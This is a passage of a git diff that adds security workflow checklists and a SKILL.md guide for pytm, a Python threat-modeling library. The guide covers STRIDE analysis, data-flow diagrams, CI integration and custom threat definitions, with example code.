Identify system components and boundaries +[ ] 2. Map data flows between components +[ ] 3. Identify trust boundaries +[ ] 4. Enumerate assets (data, services, credentials) +[ ] 5. Apply STRIDE framework to each component: + - Spoofing threats + - Tampering threats + - Repudiation threats + - Information disclosure threats + - Denial of service threats + - Elevation of privilege threats +[ ] 6. Map threats to MITRE ATT&CK techniques +[ ] 7. Identify existing mitigations +[ ] 8. Document residual risks +[ ] 9. Recommend additional security controls +[ ] 10. Generate threat model document + +Work through each step systematically. Check off completed items. + +--- + +## Pattern 7: Compliance Validation Workflow + +Use this pattern for compliance checks against security standards. + +### Security Compliance Audit Workflow + +**SOC 2 Controls Review**: +[ ] 1. Review access control policies (CC6.1, CC6.2, CC6.3) +[ ] 2. Verify logical access controls implementation (CC6.1) +[ ] 3. Review authentication mechanisms (CC6.1) +[ ] 4. Verify encryption implementation (CC6.1, CC6.7) +[ ] 5. Review audit logging configuration (CC7.2) +[ ] 6. Verify security monitoring (CC7.2, CC7.3) +[ ] 7. Review incident response procedures (CC7.3, CC7.4) +[ ] 8. Verify backup and recovery processes (A1.2, A1.3) + +**Evidence Collection**: +[ ] 9. Collect policy documents +[ ] 10. Collect configuration screenshots +[ ] 11. Collect audit logs +[ ] 12. Document control gaps +[ ] 13. Generate compliance report + +--- + +## Pattern 8: Incident Response Workflow + +Use this pattern for security incident handling. + +### Security Incident Response Workflow + +**Detection and Analysis**: +[ ] 1. Confirm security incident (rule out false positive) +[ ] 2. Determine incident severity (SEV1/2/3/4) +[ ] 3. Identify affected systems and data +[ ] 4. Preserve evidence (logs, memory dumps, network captures) + +**Containment**: +[ ] 5. Isolate affected systems (network segmentation) +[ ] 6. Disable compromised accounts +[ ] 7. Block malicious indicators (IPs, domains, hashes) +[ ] 8. Implement temporary compensating controls + +**Eradication**: +[ ] 9. Identify root cause +[ ] 10. Remove malicious artifacts (malware, backdoors, webshells) +[ ] 11. Patch vulnerabilities exploited +[ ] 12. Reset compromised credentials + +**Recovery**: +[ ] 13. Restore systems from clean backups (if needed) +[ ] 14. Re-enable systems with monitoring +[ ] 15. Verify system integrity +[ ] 16. Resume normal operations + +**Post-Incident**: +[ ] 17. Document incident timeline +[ ] 18. Identify lessons learned +[ ] 19. Update security controls to prevent recurrence +[ ] 20. Update incident response procedures +[ ] 21. Communicate with stakeholders + +--- + +## Usage Guidelines + +### When to Use Workflow Checklists + +✅ **Use checklists for**: +- Complex multi-step operations +- Operations requiring specific order +- Security assessments and audits +- Incident response procedures +- Compliance validation tasks + +❌ **Don't use checklists for**: +- Simple single-step operations +- Highly dynamic exploratory work +- Operations that vary significantly each time + +### Adapting This Template + +1. **Copy relevant pattern** to your skill's SKILL.md or create new reference file +2. **Customize steps** to match your specific security tool or process +3. **Add framework references** (OWASP, CWE, NIST) where applicable +4. **Include tool-specific commands** for automation +5. **Add decision points** where manual judgment is required + +### Checklist Best Practices + +- **Be specific**: "Run semgrep --config=auto ." not "Scan the code" +- **Include success criteria**: "Validation passes with 0 errors" +- **Reference standards**: Link to OWASP, CWE, NIST where relevant +- **Show progress**: Checkbox format helps track completion +- **Provide escape hatches**: "If validation fails, see troubleshooting.md" + +### Integration with Feedback Loops + +Combine checklists with validation scripts for maximum effectiveness: + +1. Create checklist for the workflow +2. Provide validation script that checks quality +3. Include "run validator" step in checklist +4. Loop: Complete step → Validate → Fix issues → Re-validate + +This pattern dramatically improves output quality through systematic validation. diff --git a/skills/threatmodel/.category b/skills/threatmodel/.category new file mode 100644 index 0000000..1704859 --- /dev/null +++ b/skills/threatmodel/.category @@ -0,0 +1,5 @@ +# Threat Modeling Skills + +This directory contains skills for threat modeling and risk analysis. + +See the main [README.md](../../README.md) for usage and [CONTRIBUTE.md](../../CONTRIBUTE.md) for contribution guidelines. diff --git a/skills/threatmodel/pytm/SKILL.md b/skills/threatmodel/pytm/SKILL.md new file mode 100644 index 0000000..9c72471 --- /dev/null +++ b/skills/threatmodel/pytm/SKILL.md @@ -0,0 +1,574 @@ +--- +name: pytm +description: > + Python-based threat modeling using pytm library for programmatic STRIDE analysis, + data flow diagram generation, and automated security threat identification. Use when: + (1) Creating threat models programmatically using Python code, (2) Generating data flow + diagrams (DFDs) with automatic STRIDE threat identification, (3) Integrating threat + modeling into CI/CD pipelines and shift-left security practices, (4) Analyzing system + architecture for security threats across trust boundaries, (5) Producing threat reports + with STRIDE categories and mitigation recommendations, (6) Maintaining threat models + as code for version control and automation. +version: 0.1.0 +maintainer: SirAppSec +category: threatmodel +tags: [threat-modeling, stride, dfd, security-architecture, pytm, appsec, risk-analysis] +frameworks: [STRIDE, OWASP, MITRE-ATT&CK, NIST] +dependencies: + python: ">=3.7" + packages: [pytm, graphviz] +references: + - https://github.com/izar/pytm + - https://owasp.org/www-community/Threat_Modeling + - https://www.microsoft.com/en-us/security/blog/2007/09/11/stride-chart/ + - https://attack.mitre.org/ +--- + +# Threat Modeling with pytm + +## Overview + +pytm is a Python library for programmatic threat modeling based on the STRIDE methodology. It enables +security engineers to define system architecture as code, automatically generate data flow diagrams (DFDs), +identify security threats across trust boundaries, and produce comprehensive threat reports. This +approach integrates threat modeling into CI/CD pipelines, enabling shift-left security and continuous +threat analysis. + +## Quick Start + +Create a basic threat model: + +```python +#!/usr/bin/env python3 +from pytm import TM, Server, Dataflow, Boundary, Actor + +# Initialize threat model +tm = TM("Web Application Threat Model") +tm.description = "E-commerce web application" + +# Define trust boundaries +internet = Boundary("Internet") +dmz = Boundary("DMZ") +internal = Boundary("Internal Network") + +# Define actors and components +user = Actor("Customer") +user.inBoundary = internet + +web = Server("Web Server") +web.inBoundary = dmz + +db = Server("Database") +db.inBoundary = internal + +# Define data flows +user_to_web = Dataflow(user, web, "HTTPS Request") +user_to_web.protocol = "HTTPS" +user_to_web.data = "credentials, payment info" +user_to_web.isEncrypted = True + +web_to_db = Dataflow(web, db, "Database Query") +web_to_db.protocol = "SQL/TLS" +web_to_db.data = "user data, transactions" + +# Generate threat report and diagram +tm.process() +``` + +Install pytm: +```bash +pip install pytm +# Also requires graphviz for diagram generation +brew install graphviz # macOS +# or: apt-get install graphviz # Linux +``` + +## Core Workflows + +### Workflow 1: Create New Threat Model + +Progress: +[ ] 1. Define system scope and trust boundaries +[ ] 2. Identify all actors (users, administrators, external systems) +[ ] 3. Map system components (servers, databases, APIs, services) +[ ] 4. Define data flows between components with security attributes +[ ] 5. Run `tm.process()` to generate threats and DFD +[ ] 6. Review STRIDE threats and add mitigations +[ ] 7. Generate threat report with `scripts/generate_report.py` + +Work through each step systematically. Check off completed items. + +### Workflow 2: STRIDE Threat Analysis + +pytm automatically identifies threats based on STRIDE categories: + +- **Spoofing**: Identity impersonation attacks +- **Tampering**: Unauthorized modification of data +- **Repudiation**: Denial of actions without traceability +- **Information Disclosure**: Unauthorized access to sensitive data +- **Denial of Service**: Availability attacks +- **Elevation of Privilege**: Unauthorized access escalation + +For each identified threat: +1. Review threat description and affected component +2. Assess likelihood and impact (use `references/risk_matrix.md`) +3. Determine if existing controls mitigate the threat +4. Add mitigation using `threat.mitigation = "description"` +5. Document residual risk and acceptance criteria + +### Workflow 3: Architecture as Code + +Define system architecture programmatically: + +```python +from pytm import TM, Server, Datastore, Dataflow, Boundary, Actor, Lambda + +tm = TM("Microservices Architecture") + +# Cloud boundaries +internet = Boundary("Internet") +cloud_vpc = Boundary("Cloud VPC") + +# API Gateway +api_gateway = Server("API Gateway") +api_gateway.inBoundary = cloud_vpc +api_gateway.implementsAuthentication = True +api_gateway.implementsAuthorization = True + +# Microservices +auth_service = Lambda("Auth Service") +auth_service.inBoundary = cloud_vpc + +order_service = Lambda("Order Service") +order_service.inBoundary = cloud_vpc + +# Data stores +user_db = Datastore("User Database") +user_db.inBoundary = cloud_vpc +user_db.isEncryptedAtRest = True + +# Data flows with security properties +client_to_api = Dataflow(Actor("Client"), api_gateway, "API Request") +client_to_api.protocol = "HTTPS" +client_to_api.isEncrypted = True +client_to_api.data = "user credentials, orders" + +api_to_auth = Dataflow(api_gateway, auth_service, "Auth Check") +api_to_auth.protocol = "gRPC/TLS" + +auth_to_db = Dataflow(auth_service, user_db, "User Lookup") +auth_to_db.protocol = "TLS" + +tm.process() +``` + +### Workflow 4: CI/CD Integration + +Automate threat modeling in continuous integration: + +```yaml +# .github/workflows/threat-model.yml +name: Threat Model Analysis +on: [push, pull_request] + +jobs: + threat-model: + runs-on: ubuntu-latest + steps: + - uses: actions/checkout@v3 + + - name: Set up Python + uses: actions/setup-python@v4 + with: + python-version: '3.10' + + - name: Install dependencies + run: | + pip install pytm + sudo apt-get install -y graphviz + + - name: Generate threat model + run: python threat_model.py + + - name: Upload DFD diagram + uses: actions/upload-artifact@v3 + with: + name: threat-model-dfd + path: '*.png' + + - name: Check for unmitigated threats + run: python scripts/check_mitigations.py threat_model.py +``` + +### Workflow 5: Threat Report Generation + +Generate comprehensive threat documentation: + +```bash +# Run threat model with report generation +python threat_model.py + +# Generate markdown report +./scripts/generate_report.py --model threat_model.py --output threat_report.md + +# Generate JSON for tool integration +./scripts/generate_report.py --model threat_model.py --format json --output threats.json +``` + +Report includes: +- System architecture overview +- Trust boundary analysis +- Complete STRIDE threat enumeration +- Existing and recommended mitigations +- Risk prioritization matrix + +## Security Considerations + +### Sensitive Data Handling + +- **Threat models as code**: Store in version control but review for sensitive architecture details +- **Credentials and secrets**: Never hardcode in threat models - use placeholders +- **Data classification**: Clearly label data flows with sensitivity levels (PII, PCI, PHI) +- **Report distribution**: Control access to threat reports revealing security architecture + +### Access Control + +- **Threat model repository**: Restrict write access to security team and architects +- **CI/CD integration**: Protect threat modeling pipeline from tampering +- **Diagram artifacts**: Control distribution of DFDs showing system architecture +- **Mitigation tracking**: Integrate with secure issue tracking systems + +### Audit Logging + +Log the following for security governance: +- Threat model creation and modification history +- Identified threats and severity assessments +- Mitigation implementation and validation +- Risk acceptance decisions with approval +- Threat model review and update cycles + +### Compliance Requirements + +- **NIST 800-30**: Risk assessment methodology alignment +- **ISO 27001**: A.14.1.2 - Securing application services on public networks +- **OWASP SAMM**: Threat Assessment practice maturity +- **PCI-DSS 6.3.1**: Security threat identification in development +- **SOC2 CC9.1**: Risk assessment process for system changes + +## Bundled Resources + +### Scripts (`scripts/`) + +- `generate_report.py` - Generate markdown/JSON threat reports with STRIDE categorization +- `check_mitigations.py` - Validate all identified threats have documented mitigations +- `threat_classifier.py` - Classify threats by severity using DREAD or custom risk matrix +- `template_generator.py` - Generate threat model templates for common architectures + +### References (`references/`) + +- `stride_methodology.md` - Complete STRIDE methodology guide with threat examples +- `risk_matrix.md` - Risk assessment framework with likelihood and impact scoring +- `component_library.md` - Reusable pytm components for common patterns (APIs, databases, cloud services) +- `mitigation_strategies.md` - Common mitigation patterns mapped to STRIDE categories and OWASP controls + +### Assets (`assets/`) + +- `templates/web_application.py` - Web application threat model template +- `templates/microservices.py` - Microservices architecture template +- `templates/mobile_app.py` - Mobile application threat model template +- `templates/iot_system.py` - IoT system threat model template +- `dfd_styles.json` - Custom graphviz styling for professional diagrams + +## Common Patterns + +### Pattern 1: Web Application Three-Tier Architecture + +```python +from pytm import TM, Server, Datastore, Dataflow, Boundary, Actor + +tm = TM("Three-Tier Web Application") + +# Boundaries +internet = Boundary("Internet") +dmz = Boundary("DMZ") +internal = Boundary("Internal Network") + +# Components +user = Actor("End User") +user.inBoundary = internet + +lb = Server("Load Balancer") +lb.inBoundary = dmz +lb.implementsNonce = True + +web = Server("Web Server") +web.inBoundary = dmz +web.implementsAuthentication = True +web.implementsAuthenticationOut = False + +app = Server("Application Server") +app.inBoundary = internal +app.implementsAuthorization = True + +db = Datastore("Database") +db.inBoundary = internal +db.isSQL = True +db.isEncryptedAtRest = True + +# Data flows +Dataflow(user, lb, "HTTPS").isEncrypted = True +Dataflow(lb, web, "HTTPS").isEncrypted = True +Dataflow(web, app, "HTTP").data = "session token, requests" +Dataflow(app, db, "SQL/TLS").data = "user data, transactions" + +tm.process() +``` + +### Pattern 2: Cloud Native Microservices + +```python +from pytm import TM, Lambda, Datastore, Dataflow, Boundary, Actor + +tm = TM("Cloud Microservices") + +cloud = Boundary("Cloud Provider VPC") +user = Actor("Mobile App") + +# Serverless functions +api_gateway = Lambda("API Gateway") +api_gateway.inBoundary = cloud +api_gateway.implementsAPI = True + +auth_fn = Lambda("Auth Function") +auth_fn.inBoundary = cloud + +# Managed services +cache = Datastore("Redis Cache") +cache.inBoundary = cloud +cache.isEncrypted = True + +db = Datastore("DynamoDB") +db.inBoundary = cloud +db.isEncryptedAtRest = True + +# Data flows +Dataflow(user, api_gateway, "API Call").protocol = "HTTPS" +Dataflow(api_gateway, auth_fn, "Auth").protocol = "internal" +Dataflow(auth_fn, cache, "Session").isEncrypted = True +Dataflow(api_gateway, db, "Query").isEncrypted = True + +tm.process() +``` + +### Pattern 3: Adding Custom Threats + +Define organization-specific threats: + +```python +from pytm import TM, Threat + +tm = TM("Custom Threat Model") + +# Add custom threat to component +web_server = Server("Web Server") + +custom_threat = Threat( + target=web_server, + id="CUSTOM-001", + description="API rate limiting bypass using distributed requests", + condition="web_server.implementsRateLimiting is False", + mitigation="Implement distributed rate limiting with Redis", + references="OWASP API Security Top 10 - API4 Unrestricted Resource Consumption" +) + +web_server.threats.append(custom_threat) +``` + +### Pattern 4: Trust Boundary Analysis + +Focus on cross-boundary threats: + +```python +# Identify all trust boundary crossings +for flow in tm.dataflows: + if flow.source.inBoundary != flow.sink.inBoundary: + print(f"Cross-boundary flow: {flow.name}") + print(f" From: {flow.source.inBoundary.name}") + print(f" To: {flow.sink.inBoundary.name}") + print(f" Encrypted: {flow.isEncrypted}") + print(f" Authentication: {flow.implementsAuthentication}") +``` + +Trust boundary crossings require extra scrutiny: +- Authentication and authorization mechanisms +- Encryption in transit +- Input validation and sanitization +- Logging and monitoring + +## Integration Points + +### SDLC Integration + +- **Design Phase**: Create initial threat model during architecture review +- **Development**: Reference threat model for security requirements +- **Code Review**: Validate mitigations are implemented correctly +- **Testing**: Generate security test cases from identified threats +- **Deployment**: Validate security controls match threat model assumptions +- **Operations**: Update threat model for infrastructure changes + +### Security Tools Ecosystem + +- **Issue Tracking**: Export threats as Jira/GitHub issues for mitigation tracking +- **Documentation**: Generate threat models for security documentation +- **SIEM**: Map threats to detection rules and monitoring alerts +- **Pentesting**: Provide threat model to pentesters for targeted assessment +- **Code Analysis**: Link SAST/DAST findings to threat model threats + +### Cloud and DevOps + +- **Infrastructure as Code**: Threat model Terraform/CloudFormation templates +- **Container Security**: Model container orchestration and service mesh +- **API Design**: Threat model API gateway and microservices communication +- **Secrets Management**: Model key management and secrets distribution + +## Troubleshooting + +### Issue: Missing Threats in Output + +**Symptoms**: Expected STRIDE threats not appearing in generated report + +**Solution**: +1. Verify component properties are set correctly (e.g., `isSQL=True` for databases) +2. Check data flow security attributes (`isEncrypted`, `protocol`) +3. Ensure components are assigned to boundaries +4. Review trust boundary crossings +5. Consult `references/stride_methodology.md` for threat conditions + +### Issue: Diagram Generation Failure + +**Symptoms**: DFD not generated or graphviz errors + +**Solution**: +```bash +# Verify graphviz installation +dot -V + +# Install graphviz if missing +brew install graphviz # macOS +sudo apt-get install graphviz # Linux + +# Test pytm with simple model +python -c "from pytm import TM; tm = TM('test'); tm.process()" +``` + +### Issue: Too Many False Positive Threats + +**Symptoms**: Identified threats don't apply to your architecture + +**Solution**: +1. Set accurate component properties to suppress irrelevant threats +2. Use threat conditions to filter: `threat.condition = "..."` +3. Document why threats don't apply: `threat.mitigation = "N/A - using managed service"` +4. Create custom threat library with `references/component_library.md` + +### Issue: Threat Model Maintenance Drift + +**Symptoms**: Threat model doesn't reflect current architecture + +**Solution**: +1. Store threat models in version control alongside architecture diagrams +2. Trigger threat model regeneration in CI on architecture changes +3. Schedule quarterly threat model reviews +4. Link threat model updates to architecture review board approvals +5. Use `scripts/check_mitigations.py` to validate completeness + +## Advanced Configuration + +### Custom Threat Definitions + +Create organization-specific threat library: + +```python +# custom_threats.py +from pytm import Threat + +def add_custom_threats(tm): + """Add organization-specific threats to threat model""" + + # Cloud-specific threats + cloud_misconfiguration = Threat( + id="CLOUD-001", + description="Misconfigured cloud storage bucket exposes sensitive data", + condition="datastore.inBoundary.name == 'Cloud' and not datastore.isEncrypted", + mitigation="Enable encryption at rest and bucket policies" + ) + + # API-specific threats + api_abuse = Threat( + id="API-001", + description="API endpoint abuse through lack of rate limiting", + condition="server.implementsAPI and not server.implementsRateLimiting", + mitigation="Implement rate limiting and API key rotation" + ) + + return [cloud_misconfiguration, api_abuse] +``` + +### Risk Scoring Integration + +Add DREAD scoring to threats: + +```python +class ScoredThreat(Threat): + def __init__(self, *args, **kwargs): + super().__init__(*args, **kwargs) + self.damage = 0 # 0-10 + self.reproducibility = 0 + self.exploitability = 0 + self.affected_users = 0 + self.discoverability = 0 + + def dread_score(self): + return (self.damage + self.reproducibility + self.exploitability + + self.affected_users + self.discoverability) / 5 + +# Usage +threat = ScoredThreat( + target=component, + description="SQL Injection", + damage=9, + reproducibility=8, + exploitability=7, + affected_users=10, + discoverability=6 +) +print(f"DREAD Score: {threat.dread_score()}/10") +``` + +### Diagram Customization + +Customize DFD output with graphviz attributes: + +```python +# Set custom colors for trust boundaries +internet.color = "red" +dmz.color = "orange" +internal.color = "green" + +# Customize diagram output +tm.graph_options = { + "rankdir": "LR", # Left to right layout + "bgcolor": "white", + "fontname": "Arial", + "fontsize": "12" +} +``` + +## References + +- [pytm GitHub Repository](https://github.com/izar/pytm) +- [OWASP Threat Modeling](https://owasp.org/www-community/Threat_Modeling) +- [Microsoft STRIDE Methodology](https://www.microsoft.com/en-us/security/blog/2007/09/11/stride-chart/) +- [MITRE ATT&CK Framework](https://attack.mitre.org/) +- [Threat Modeling Manifesto](https://www.threatmodelingmanifesto.org/) +- [NIST 800-30: Risk Assessment](https://csrc.nist.gov/publications/detail/sp/800-30/rev-1/final)